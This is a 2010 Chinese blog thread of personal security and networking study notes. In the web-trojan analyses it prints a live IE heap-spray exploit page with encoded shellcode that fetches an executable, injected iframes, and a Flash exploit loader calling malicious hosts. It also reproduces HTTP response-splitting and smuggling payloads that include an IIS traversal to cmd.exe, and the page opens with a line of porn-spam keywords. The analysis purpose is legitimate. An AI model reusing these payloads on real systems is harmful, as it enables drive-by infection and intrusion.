色88久久久久高潮综合影院,日韩人妻无码一区二区三区久久,久久亚洲欧美日本精品

C 語言樓

posted on 2010-11-10 15:28 小默閱讀(1850) 評論(14) 編輯收藏引用所屬分類: Language

view-source:http://youth.dlmu.edu.cn/news/rss/news.php?1548.html

查找<script
<script src=http://202.201.48.18/dwtzb/mxd/xd.png?36036000></script>
但是這個東西是嵌在<html></html>中的，不會執行？ TODO

不管能不能執行了，先看下是什么吧。
chrome不能查看.png格式的源碼。手動GET：
[green@colorfulgreen ~]$ telnet 202.201.48.18 80
Trying 202.201.48.18...
Connected to 202.201.48.18.
Escape character is '^]'.
GET /dwtzb/mxd/xd.png?26026000 HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 10 Nov 2010 14:08:51 GMT
Server: Apache/2.0.48 (Unix) PHP/5.2.0
Last-Modified: Thu, 26 Aug 2010 17:48:08 GMT
ETag: "12f820-14a-99d9e600"
Accept-Ranges: bytes
Content-Length: 330
Connection: close
Content-Type: image/png
X-Pad: avoid browser bug

document.writeln("<iframe src=http://202.201.48.18/dwtzb/mxd/bie.html width=100 height=0></iframe>");
document.writeln("<iframe src=http://202.201.48.18/dwtzb/mxd/bie6.html width=100 height=0></iframe>");
document.write ('<script language="javascript" type="text/javascript" src=" 回復更多評論

# 一個網馬分析2 2010-11-10 22:36 小默

看下第一個iframe嵌的頁面
http://202.201.48.18/dwtzb/mxd/bie.html

<div id=sun style='display:none'>MM528384NNXX%u0C0C%u9090%u10EB%u4B5B%uC933%uB966%u047B%u3480%uC20B%uFAE2%u05EB%uEBE8%uFFFF%u2BFF%uC13D%uC2C2%uA69D%uF263%uC2C2%u49C2%uCE82%uB249%u6FDE%uAA49%u49CA%uA835%u9BCD%u5D2A%uC2C1%u52C2%u3A20%uF1AA%uC2F0%uAAC2%uB197%uB0A7%u4996%uCE84%u2D2A%uC2C0%u49C2%uA82A%u9BC3%uBD2A%uC2C1%u20C2%uAA3B%uACAD%uC2C2%uB7AA%uAEB0%u96AF%u8449%u2ACE%uC012%uC2C2%u2A49%uC3A8%u2A9B%uC1A2%uC2C2%u3B20%uAEAA%uF0F1%uAAC2%uAAB1%uAEA7%u4996%uCE84%u732A%uC2C0%u49C2%uA82A%u9BC3%u832A%uC2C1%u20C2%u433B%uC22E%uC2C3%u49C2%u431E%u4201%uC2C2%uA8C2%uA8C2%u91D8%uC2A8%u943D%uF186%u8202%uFE42%uC2C1%u3BB7%u444B%uC252%uC2C2%uC605%u9EC1%uECA3%u05A7%uC186%uBAC6%uC2A7%uF1C2%u930B%u9193%u9395%u02F1%u8449%u2A82%uC09C%uC2C2%u3A41%uCDC2%uBD47%uC2C3%uA8C2%uA8C2%uA8C2%uA8C1%uA8C2%uAAC0%uC2C2%u02C2%u4991%uE684%uFF2A%uC2C0%u41C2%u3D3A%u46CD%uC39C%uC2C2%u844B%uA8A2%u92C2%u943D%u4BEA%uA684%u4449%uC252%uC2C2%uC605%u9EC1%uECA0%u05A7%uC186%uBAC6%uC2A7%uA8C2%uA8C2%uA8C2%uA8C0%uA8C2%uAAC2%uC2C2%u82C2%u4991%uE684%u392A%uC2C3%u41C2%u3D3A%u46CD%uC3DE%uC2C2%u444B%uC246%uC2C2%u5C4B%uC24E%uC2C2%u8449%uA8A2%uA8C2%uA8C2%u49C2%uA284%u3D92%uFA94%u8405%uC2B2%uC2C2%u05C2%uB684%uC2C2%uC2C2%u0543%uC0C2%uC2C2%u19F1%u9C49%uA8A6%u4FC2%uB284%uAA92%uC6C2%uC2C2%u3D95%uA2B4%u943D%uF1C6%u7B0B%uC6C2%uC2C2%uBE42%u3DCD%uB657%u42CE%uCDBE%uC23D%uC7B6%uB642%u3DCD%u2057%u4929%uEF01%uC6C2%uC2C2%u3A41%uBDC2%u4BC1%uB29C%uC2A8%u844F%u92B6%uB43D%u95B2%u743D%uC246%uC2C2%u943D%u43F2%uC229%uC2C6%u41C2%uC239%u67BD%uB43D%u3DA2%uF694%u743D%uC246%uC2C2%u943D%u49F6%u5244%uC2C2%u49C2%u4E5C%uC2C2%u05C2%uC1C6%uA39E%uA7EC%u3D91%uEE94%u7C49%uC24E%uC2C2%u4449%uC252%uC2C2%uC605%u9EC5%uECA0%u43A7%uC22E%uC2C3%u49C2%uAA1E%uC3C2%uC2C2%uAA91%uC3C2%uC2C2%uA895%uA8C2%u3DC2%uDE94%u3949%u02F1%u19F1%u2E43%uC0C2%uC2C2%u0E49%u3A41%uBF96%u4BCA%uC3DE%u0241%u29C6%u4931%u490E%u411B%uD201%u02F1%u9392%u9291%u9292%u9292%u9592%u9292%u8449%u2ACA%uC3C4%uC2C2%uBC49%u2AFE%uC390%uC2C2%uF52A%uC2C2%uAAC2%uB4A1%uC2B5%uB1AA%uA6AA%u96AD%u8449%u2ACE%uC274%uC2C2%u844B%uA6FE%uC663%uC2C2%u4FC2%uA262%u3D3D%uA83D%u3DA7%uFEB4%u8449%u2AD2%uC258%uC2C2%u19F1%u9191%u9191%u123D%uC12A%uC2C3%u43C2%uC22E%uC2C3%u49C2%u413E%uC605%uC505%uB6F0%uCE53%u8505%uA1C6%u134B%u058D%uCA85%uA762%u0955%u8505%u93CE%u7882%u05BD%uD285%uDFFC%uFB74%u8505%u7AD6%u16AB%u05D9%uDA85%uBD7C%u62A4%u8505%u3EDE%uF56B%u056F%uE285%uC85A%u3AD2%u63A6%uC2F2%uC2C2%u8249%u49CE%uDEB2%u496F%uCAAA%u3549%u944B%uA8A6%u9BC6%u032A%uC2C2%u52C2%u3A20%uF1AA%uC2F0%uAAC2%uB197%uB0A7%u4996%u2AC4%uC2D0%uC2C2%u2A49%uC7A8%u2A9B%uC260%uC2C2%u3B20%u3DF1%u3D95%uC694%uFA42%uB62A%u42D0%u2BFA%uCFB6%uFA42%uB629%u3DCA%u2A22%uC2A2%uC2C2%u4301%uC7BA%u5252%u5252%uCAB6%u3D49%u4997%u4F2E%uC782%u223D%u852A%uC2C2%u01C2%uFA42%uB62A%u42D0%u2BFA%uCFB6%uFA42%uB629%u3DCA%u2A22%uC2F2%uC2C2%u4301%uC7BA%u5252%u5252%u1AB6%uCAAA%uC2C8%u4FC2%uC782%u223D%uD52A%uC2C2%u01C2%uD32A%uC2C2%u7AC2%uC3D3%u42C6%uCE00%u29C2%u9AC0%u2A01%u3D3B%u3D3D%u0499%u7AC5%u9D4B%uA4C3%u8505%u3DC7%u0122%u4991%u911E%u82A8%uC2AA%uC2D2%u95C2%u8449%u2AE2%u3DAA%u3D3D%u019A%u9493%uB749%u49FE%uECB6%uC1BA%u9437%uB449%uC1E2%uF137%u8B0B%u6F83%u07C1%u19F1%u7CCD%uF8D2%uB614%u03CA%uC509%u18C1%u2982%uF933%uB7DD%u9C25%u9C49%uC1E6%uA41F%uCE49%u4989%uDE9C%u1FC1%uC649%uC149%u6907%u9B9C%u2A01%u393E%u3D3D%u3070%u3620%uF470%uD1CD%u8A32%uFFB9%uB6F0%uCE53%u1D47%u796D%u4BA1%u8D13%u8293%uBD78%u50C5%uB2E0%u66DC%u2DA6%uF051%u5626%uD14C%u6EC8%uFBBB%u5A24%u4F06%uB6DD%uA495%u3DCF%u7C81%u196E%uC85A%u3AD2%u1442%u586D%u9139%uA4D7%uB6AA%uB2B6%uEDF8%uF0ED%uF0F2%uF0EC%uF3F2%uF6EC%uECFA%uFAF3%uA6ED%uB6B5%uA0B8%uAFED%uA6BA%uAFED%uF3BA%uA7EC%uA7BA%uC2C2%uC2C2YY</div>

<BUTTON ID='EXP' ONCLICK='exp();' STYLE='DISPLAY:NONE'></BUTTON>
<script language="JavaScript">
function code()
{
var div=document.getElementById('sun'); //獲取屬性值
var decode=div.innerHTML; //返回表格行開始和結束標簽之間的所有內容
var x=decode.indexOf('MM');
var y=decode.indexOf('NN');
var xxcode=decode.substring(x+2,y);
return xxcode; //返回MM和NN之間的數據，在這里是528384
}
function sc()
{
var div=document.getElementById('sun');
var decode=div.innerHTML;
var x=decode.indexOf('XX');
var y=decode.indexOf('YY')
var cc=decode.substring(x+2,y);
cc=unescape(cc);
return cc; //返回解密后的XX和YY之間的數據，也就是余下的全部
}

function exp()
{
var d=document.createElement('DIV');
d.addBehavior('#default#userData');
document.appendChild(d);
try{for (i=0;i<10;i++)
{d.setAttribute('s',window);}}
catch(e){}
window.status+='';
}
var memory;
var temptest = decodeURI(',sun,0c0c,sun,0c0c');
var nop=unescape(temptest.replace(/,sun,/g,'%u'));
var SC=sc();
var xcode=code()-SC.length*2;
while(nop.length <= xcode) nop+=nop;
nop=nop.substring(0,xcode - SC.length);
memory=new Array();
for(i=0;i<0x100;i++){memory[i]=nop + SC;}

CollectGarbage();
document.getElementById('EXP').onclick();
</script>

-------------
<div id=sun
下面的一堆代碼是shellcode，解密后有下面exe文件：
http://202.201.48.18/dwtzb/mxd/mx1.exe 回復更多評論

# innerHTML 2010-11-11 10:34 小默

innerHTML返回開始和結束標簽之間的所有內容
以下例子，alert框彈出<th>FirstName</th><th>Lastname</th>
<html>
<head>
<script type="text/javascript">
function getInnerHTML(){
alert(document.getElementById("tr1").innerHTML);
}
</script>
</head>
<body>
<table border="1">
<tr id="tr1"><th>FirstName</th><th>Lastname</th></tr>
<tr id="tr2"><td>Peter</td><td>Griffin</td></tr>
</table>
<input type="botton" onclick="getInnerHTML()" value="Alert innerHTML of table row">
</body>
</html>
回復更多評論

# addBehavior Method 2010-11-11 10:58 小默

addBehavior使不需要使用CSS就能指定對象的行為。只針對IE。
偷懶了，直接用msdn上的一個例子。
光標移到LI標簽的元素上，該元素就顯示紅色。
http://samples.msdn.microsoft.com/workshop/samples/components/htc/refs/addBehavior.htm
回復更多評論

# 擴展名執行注冊表 2010-11-11 17:26 小默

HKEY_CLASSES_ROOT\.ini
默認值是inifile
有些病毒會把inifile改成exefile，導致.ini結尾的文件可以按exe執行回復更多評論

# 一個迷惑人的flash網馬 2010-11-11 18:37 小默

http://bbs.ikaka.com/showtopic-8629683-1.aspx
by 軒轅小蔥大牛
=======
下面是一個js腳本中的一段代碼：
try{var l;
//嘗試創建新的SWF9的ActiveX對象，并獲得對象中$version屬性的值，將其保存到變量Flashver中。
Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version");}
//使用變量l捕獲錯誤
catch(l){};
finally{if(l!="[object Error]"){ //當不出現[object Error]錯誤，說明系統存在這個ActiveX控件并可用
if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,")>0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47,")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,115,")>0){ //檢查Flachver中是否包含特定的版本號字樣，如果是，說明漏洞存在
//在漏洞存在的情況下，使用Flashver變量為參數訪問flash.asp，從而得到真正的惡意代碼內容。
document.write('<iframe style=display:none src="}}

Flashver的值源于對象中的$version屬性，在用于IE組件的SWF9控件中該屬性的值的形式為"win 9,0,x,0"，其中x是副版本號，也就是該代碼最關心的依據。
符合條件的版本值如下
win 9,0,16,0
win 9,0,28,0
win 9,0,45,0
win 9,0,47,0
win 9,0,64,0
win 9,0,115,0

以win 9,0,16,0為例，iframe中嵌入的鏈接地址為 http://30mm.azzwg.cn/cb/ff/flash.asp?id=win%209,0,16,0
(Flashver中的空格給escape了)

上面這個鏈接得到的網頁內容：
<script type="text/javascript" src="swfobject.js"></script>
<div id="flashcontent">YES</div>
<script type=text/javascript>var so=new SWFObject("GG16.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent");</ScripT>

所以真正的畸形swf文件地址是http://30mm.azzwg.cn/cb/ff/GG16.swf

-----
原來的flash網馬分析實踐中，我們經?？吹骄W頁中加載的.swf文件是ie.swf或ff.swf
其實這兩個文件并不是觸發漏洞的畸形swf文件，其功能只是獲取SWF控件版本并連接到真正的畸形swf文件。
其使用的方法，正是在swf中加入腳本，通過獲取$version屬性，使用 $version+".swf" 的形式生成相應的畸形swf文件地址并調用相應函數加載之，從而觸發漏洞。

因此我們再看本帖所提到的腳本代碼，就可以發現，以上這種判斷flash控件版本以加入相應地址的方法，其實只是原來的方法的“外化”。由于現在的代碼直接以javascript的方式表現出來，而不是編譯在swf文件中，所以實際上比原來更簡單更容易判斷了。回復更多評論

# ASCII表 2010-11-12 22:35 小默

Bin Dec Hex 縮寫/字符解釋
00000000 0 00 NUL(null) 空字符
00000001 1 01 SOH(start of headling) 標題開始
00000010 2 02 STX (start of text) 正文開始
00000011 3 03 ETX (end of text) 正文結束
00000100 4 04 EOT (end of transmission) 傳輸結束
00000101 5 05 ENQ (enquiry) 請求
00000110 6 06 ACK (acknowledge) 收到通知
00000111 7 07 BEL (bell) 響鈴
00001000 8 08 BS (backspace) 退格
00001001 9 09 HT (horizontal tab) 水平制表符
00001010 10 0A LF (NL line feed, new line) 換行鍵
00001011 11 0B VT (vertical tab) 垂直制表符
00001100 12 0C FF (NP form feed, new page) 換頁鍵
00001101 13 0D CR (carriage return) 回車鍵
00001110 14 0E SO (shift out) 不用切換
00001111 15 0F SI (shift in) 啟用切換
00010000 16 10 DLE (data link escape) 數據鏈路轉義
00010001 17 11 DC1 (device control 1) 設備控制1
00010010 18 12 DC2 (device control 2) 設備控制2
00010011 19 13 DC3 (device control 3) 設備控制3
00010100 20 14 DC4 (device control 4) 設備控制4
00010101 21 15 NAK (negative acknowledge) 拒絕接收
00010110 22 16 SYN (synchronous idle) 同步空閑
00010111 23 17 ETB (end of trans. block) 傳輸塊結束
00011000 24 18 CAN (cancel) 取消
00011001 25 19 EM (end of medium) 介質中斷
00011010 26 1A SUB (substitute) 替補
00011011 27 1B ESC (escape) 溢出
00011100 28 1C FS (file separator) 文件分割符
00011101 29 1D GS (group separator) 分組符
00011110 30 1E RS (record separator) 記錄分離符
00011111 31 1F US (unit separator) 單元分隔符
00100000 32 20 (space) 空格
00100001 33 21 !
00100010 34 22 "
00100011 35 23 #
00100100 36 24 $
00100101 37 25 %
00100110 38 26 &
00100111 39 27 '
00101000 40 28 (
00101001 41 29 )
00101010 42 2A *
00101011 43 2B +
00101100 44 2C ,
00101101 45 2D -
00101110 46 2E .
00101111 47 2F /
00110000 48 30 0 回復更多評論

# HTTP截斷 HTTP走私 2010-11-13 01:28 小默

http://netsecurity.51cto.com/art/201001/177371.htm
----------

概述

對特定的HTTP報頭的攻擊。

HTTP截斷攻擊
利用缺乏輸入消毒措施的漏洞，允許入侵者向應用程序響應的頭部插入CRL和LF字符，從而將響應分割成兩個不同的HTTP消息。
該攻擊的目標既不同于緩存投毒，也不同于跨站腳本攻擊。 //TODO

HTTP走私攻擊
一些專門精心制作的HTTP消息可能會隨著接收它們的代理的不同，而作不同的解析和解釋。
要求對HTTP消息的各種代理相當熟悉，否則無法發動這種攻擊。

------
HTTP截斷攻擊黑盒測試

一些web應用程序會使用部分用戶輸入來生成它們的響應頭部的某些值。如重定向，目標url依賴于用戶提交的某些值。
舉例來說，假如用戶被要求在標準web接口和高級web接口之間做出選擇，然后，選擇的結果將作為一個參數傳遞，并且這個參數將用于觸發重定向到相應的頁面的應答頭中。也就是，用選擇用參數來標識，參數用于頁面應答頭中，用來觸發重定向。
如果該參數的interface的值是advanced，那么應用程序將響應下列內容：

HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2009 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced">http://victim.com/main.jsp?interface=advanced

//TODO 什么意思？

收到這個消息后，瀏覽器把用戶引向Location頭部指定的頁面。
如果應用程序不過濾用戶輸入，攻擊者在參數interface中插入序列%0d%0a，將能夠觸發一個響應，并且解釋器（如介于用戶和web應用之間的web緩存）會把這個響應解釋成兩個不同的響應。從而攻擊者可以通過給這個web緩存“投毒”使它為后續的請求提供虛假內容。

假設攻擊者使用以下內容作為參數interface進行傳遞：

advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length%2035%0d%0aSorry,%20System%20Down

即：
advanced
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35

Sorry, System Down

沒有對用戶輸入進行嚴格消毒的應用程序中得到的響應將是下面的內容：

HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2009 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced">http://victim.com/main.jsp?interface=advanced
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35

Sorry, System Down

Web緩存將看到兩個不同的響應。如果攻擊者發送第一個請求后，以及發送另外一個請求，請求/index.html，Web緩存就會認為和第二個響應相匹配，并緩存第二個響應內容。這樣，后面所有指向victim.cm/index.html的請求都會收到system down的消息。

通過這種方式，能夠有效涂改站點在使用Web緩存的用戶心中的形象。
如果這個Web緩存是Web應用程序的一個反向代理的話，這個Web應用程序在整個因特網的用戶都會受到影響。 //TODO.類似于搜狗瀏覽器的上國際網代理？
另外，攻擊者還可以向這些用戶傳輸發動跨站腳本攻擊的js代碼，竊取cookie等。

查找這個漏洞，需要識別能影響一個或多個頭部的用戶輸入，并檢查是否能夠在其中注入一個CR+LF序列。和這個攻擊關機密切的兩個頭部：
Location
Set-Cookie

利用這個漏洞比較復雜，要考慮一些因素：
1.要使偽造的響應被緩存：必須正確設置其中各個頭部，如Last-Modified頭部的值必須設為將來的一個時間；必須破壞目標頁面先前的緩存版本，方法是提交一個請求頭部中帶有"Pragma: no-cache"的前導頁面來防止頁面被緩存。
2.應用程序可能過濾了發動攻擊所需的其它字符，如<>等?？梢試L試使用其他編碼，如UTF-7等。
3.某個攻擊目標（如ASP）會對Location頭部（如www.victim.com/redirect.asp）中的路徑部分進行URL編碼處理，這樣CRLF序列不起作用了。但是它們不能對查詢部分（如?interface=advanced）進行這樣的編碼處理，這意味著放置一個前導問號就能夠繞過這種過濾技術。

-----------
HTTP走私攻擊黑盒測試

利用的漏洞：某些精心構造的HTTP消息會隨不同的代理（瀏覽器、web緩存、應用程序防火墻）而做不同的解釋。

這里只介紹一種：繞過應用程序防火墻。

針對IIS服務器的Unicode目錄遍歷攻擊能夠通過提交下面請求發動攻擊：
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ //TODO
通過檢查url是否存在類似".."和"cmd.exe"可以檢測和過濾掉這種攻擊。
但是IIS 5.0對POST請求主體的的長度限制為48KB。當Content-Type頭部不同于application/x-www-form-urlencode時，查出該限制的部分會被全部截斷。
IIS對請求主體的長度有限制，但Web應用防火墻對請求主體的長度沒有這個限制。

攻擊者可以創建一個很大的請求：
POST /target.asp HTTP/1.1 <-- Request #1
Host: target
Connection: Keep-Alive
Content-Length: 49225

<49152 bytes of garbage>
POST /target.asp HTTP/1.0 <-- Request #2
Connection: Keep-Alive
Content-Length: 33

POST /target.asp HTTP/1.0 <-- Request #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <-- Request #4
Connection: Keep-Alive

這里Request #1由49223字節組成，所以Qequest #1還包含了Request #2的幾行內容，防火墻能看到#1但無法看到#2。同樣能看到#3卻無法看到#4（因為該POST正好是偽造的頭部xxxx部分？）。
IIS 5.0將在49152字節（48K）無用信息后停止對Request #1的解析。并將Request #2解析為一個新的、單獨的請求。#2內容為33字節，正好到xxxx:之前的所有內容。IIS 5.0看不到#3，因為#3被解釋成#2的一部分。但是IIS會認出#4。
于是該#4不會被防火墻發現，但能被IIS正確解析和執行。

利用：利用各種支持HTTP的設備在解析不兼容1005 RFC的消息時采用不同方式，來發動攻擊。如：
HTTP協議只允許一個Content-Length頭部，但沒有規定如何處理具有兩個Content-Length頭部的消息。一些將使用第一個，而另一些將使用第二個，這種情況下就容易遭到HTTP走私的攻擊。
另一個例子是GET消息中Content-Length頭部的使用。回復更多評論

# 兩類windows漏洞臨時解決方案 2010-11-13 21:33 小默

允許在受影響的系統上遠程執行代碼，但必須要求用戶交互才能利用這些漏洞。
臨時解決方案：不交互

--

某服務（如DHCP Server）中存在漏洞。
臨時解決方案：不安裝/開啟相關服務；防火墻封堵相關端口（如UDP 67/68）。

回復更多評論

# 配合代理腳本實現訪問內外網站的自動轉換 2010-11-13 22:20 小默

起因：公司啟動了內部OA（辦公自動化）系統。但不同部門不在一個局域網內。

解決方案1： VPN接入。
方案1缺陷：不同部門用不同ISP接入互聯網，VPN服務器配置不一致。 //TODO VPN配置方法

解決方案2：使用代理服務器。 //TODO 代理服務器是公司自己架一臺服務器，還是在ISP租一臺？自己架的話放到哪兒？
方案2缺陷：訪問OA時需要在IE中設置代理服務器；訪問互聯網時需要取消代理服務器的設置。每次都需要手動配置很麻煩。
解決辦法：使用代理自動配置腳本（PAC-file: Proxy Auto-Config file）。

PAC腳本：以.PAC為擴展名的Javascript腳本，實際上就是定義一個名為FindProxyForURL的js函數，該函數會被瀏覽器自動調用，從而實現代理服務器的自動轉換。

function findproxyforurl(host, url) //js不區分大小寫
{
if(shexpmatch(host,"*.jifang.com.cn")) //訪問內網OA域名，使用代理
return "proxy 218.xxx.xxx.30:8080"
else if(shexpmatch(host, "172.16.*.*")) //訪問內容某ip地址，使用代理
return "proxy 218.xxx.xxx.30:8080"
else //其它直接連接
return "direct"
} 回復更多評論

# Cisco IOS 初始配置 2010-12-07 09:35 小默

——路由器模式——
Router>enable // 進入特權exec模式
Router#configure terminal // 進入全局配置模式
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#exit // 退出全局配置模式
Router#disable // 退出特權exec模式

——打開路由器電源后——
1、硬件測試：內存、接口
2、加載IOS鏡像，即路由器操作系統
3、查找并使用配置信息

——虛擬配置注冊表——
回復更多評論

# 插樓 - DNS查詢首選DNS 備用DNS 2010-12-08 18:55 小默

http://betternextday.spaces.live.com/Blog/cns!91CB16EB3BCAAC7B!395.entry
---------------------------
Windows系統中DNS查詢的原理.首先,Windows操作系統中,對DNS的相應方式是,使用第一個應答.就先來先用.然后我們來分析一下查詢的機制(并不是第一個DNS完全失敗以后才用第二個DNS)
如果只有一塊網卡的情況下:

1. 客戶端向網卡上配置的首選DNS發送查詢請求,并等待1秒.
2. 如果1秒內無響應(哪怕因為網絡延遲未能傳到機器也算),客戶端再次向首選DNS服務器發送查詢請求,等待2秒鐘
3. 如果這2秒鐘內依然沒有相應,客戶端會向所有配置過的DNS服務器同時發出查詢請求(包括首選).并等待2秒鐘您看到的文章來自活動目錄seo http://gnaw0725.blogbus.com/c1404551/

4. 如果這2秒鐘內還是沒有相應. 客戶端會向所有配置過的DNS服務器同時發出查詢請求(包括首選).并等待4秒鐘
5. 如果這4秒鐘內還是沒有相應. 客戶端會向所有配置過的DNS服務器同時發出查詢請求(包括首選).并等待8秒鐘
6. 如果8秒內依然沒有相應的話,客戶端停止查詢,并且在DNS的緩存中做一個Negative的記錄,表示這個名字的DNS不存在.
另外還有多網卡的情況,也有略微的不同.
具體可以參考這篇文章:
DNS Processes and Interactions

http://technet.microsoft.com/en-us/library/dd197552.aspx 回復更多評論

刷新評論列表

只有注冊用戶登錄后才能發表評論。
【推薦】100%開源！大型工業跨平臺軟件C++源碼提供，建模，組態！

相關文章: [zz]JavaScript 的 new，好久不見啊 JavaScript 兩個等號三個等號 HTML 標簽 javascript語言精粹 [django debug toolbar] Caught UnicodeEncodeError while rendering file_add [zz] File I/O function declaration isn't a prototype getopt getopt_long C 語言樓

網站導航: 博客園 IT新聞 BlogJava 博問 Chat2DB 管理

# XSS(Cross Site Scripting，跨站) 2010-11-10 17:05 小默

# re: C 語言樓 2010-11-10 18:18 小默

# 一個網馬分析1 2010-11-10 22:13 小默

# 一個網馬分析2 2010-11-10 22:36 小默

# innerHTML 2010-11-11 10:34 小默

# addBehavior Method 2010-11-11 10:58 小默

# 擴展名執行注冊表 2010-11-11 17:26 小默

# 一個迷惑人的flash網馬 2010-11-11 18:37 小默

# ASCII表 2010-11-12 22:35 小默

# HTTP截斷 HTTP走私 2010-11-13 01:28 小默

# 兩類windows漏洞臨時解決方案 2010-11-13 21:33 小默

# 配合代理腳本實現訪問內外網站的自動轉換 2010-11-13 22:20 小默

# Cisco IOS 初始配置 2010-12-07 09:35 小默

# 插樓 - DNS查詢首選DNS 備用DNS 2010-12-08 18:55 小默

小默

C 語言樓

評論

導航

統計

留言簿(13)

隨筆分類(287)

隨筆檔案(289)

漏洞

搜索

積分與排名

最新評論

閱讀排行榜

小默

C 語言樓

評論

# XSS(Cross Site Scripting，跨站) 2010-11-10 17:05 小默

# re: C 語言樓 2010-11-10 18:18 小默

# 一個網馬分析1 2010-11-10 22:13 小默

# 一個網馬分析2 2010-11-10 22:36 小默

# innerHTML 2010-11-11 10:34 小默

# addBehavior Method 2010-11-11 10:58 小默

# 擴展名 執行 注冊表 2010-11-11 17:26 小默

# 一個迷惑人的flash網馬 2010-11-11 18:37 小默

# ASCII表 2010-11-12 22:35 小默

# HTTP截斷 HTTP走私 2010-11-13 01:28 小默

# 兩類windows漏洞臨時解決方案 2010-11-13 21:33 小默

# 配合代理腳本 實現訪問內外網站的自動轉換 2010-11-13 22:20 小默

# Cisco IOS 初始配置 2010-12-07 09:35 小默

# 插樓 - DNS查詢 首選DNS 備用DNS 2010-12-08 18:55 小默

導航

統計

留言簿(13)

隨筆分類(287)

隨筆檔案(289)

漏洞

搜索

積分與排名

最新評論

閱讀排行榜

# 擴展名執行注冊表 2010-11-11 17:26 小默

# 配合代理腳本實現訪問內外網站的自動轉換 2010-11-13 22:20 小默

# 插樓 - DNS查詢首選DNS 備用DNS 2010-12-08 18:55 小默